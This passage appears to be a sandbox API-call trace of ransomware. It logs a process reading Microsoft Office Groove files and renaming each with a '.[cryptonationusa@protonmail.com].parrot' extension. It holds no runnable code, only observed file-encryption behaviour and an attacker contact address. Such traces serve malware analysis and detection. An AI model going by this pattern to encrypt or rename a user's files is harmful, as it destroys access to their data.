lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x244, lpOverlapped=0x0) returned 1 [0190.199] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.204] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.204] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.208] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.208] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x383, lpOverlapped=0x0) returned 1 [0190.208] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.214] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.215] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.215] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.216] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x271, lpOverlapped=0x0) returned 1 [0190.216] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.222] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.222] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.223] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x369, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x369, lpOverlapped=0x0) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.229] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.229] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.230] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.230] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13e, lpOverlapped=0x0) returned 1 [0190.230] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.236] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.236] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.238] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.238] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1388d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1388d, lpOverlapped=0x0) returned 1 [0190.241] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.JS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.249] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.249] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.251] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.251] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x45d, lpOverlapped=0x0) returned 1 [0190.251] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.252] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.258] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.258] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.259] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.259] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x850, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x850, lpOverlapped=0x0) returned 1 [0190.260] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.266] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.266] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.268] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.268] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ed, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2ed, lpOverlapped=0x0) returned 1 [0190.268] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.275] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.275] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.276] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.277] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc94, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xc94, lpOverlapped=0x0) returned 1 [0190.277] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.283] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.283] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.316] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.317] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc7c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xc7c, lpOverlapped=0x0) returned 1 [0190.317] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.324] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.324] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.326] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.326] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dda, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1dda, lpOverlapped=0x0) returned 1 [0190.327] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.333] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.333] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.334] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.334] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ec, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2ec, lpOverlapped=0x0) returned 1 [0190.335] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.340] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.340] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.341] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.341] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ee, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x7ee, lpOverlapped=0x0) returned 1 [0190.341] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.346] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.346] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.347] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.348] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x856, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x856, lpOverlapped=0x0) returned 1 [0190.348] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.367] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.368] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.369] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46fe, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x46fe, lpOverlapped=0x0) returned 1 [0190.370] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.376] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.376] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0190.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.378] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x612, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x612, lpOverlapped=0x0) returned 1 [0190.378] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.383] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0190.385] lstrcmpW (lpString1=".", lpString2=".") returned 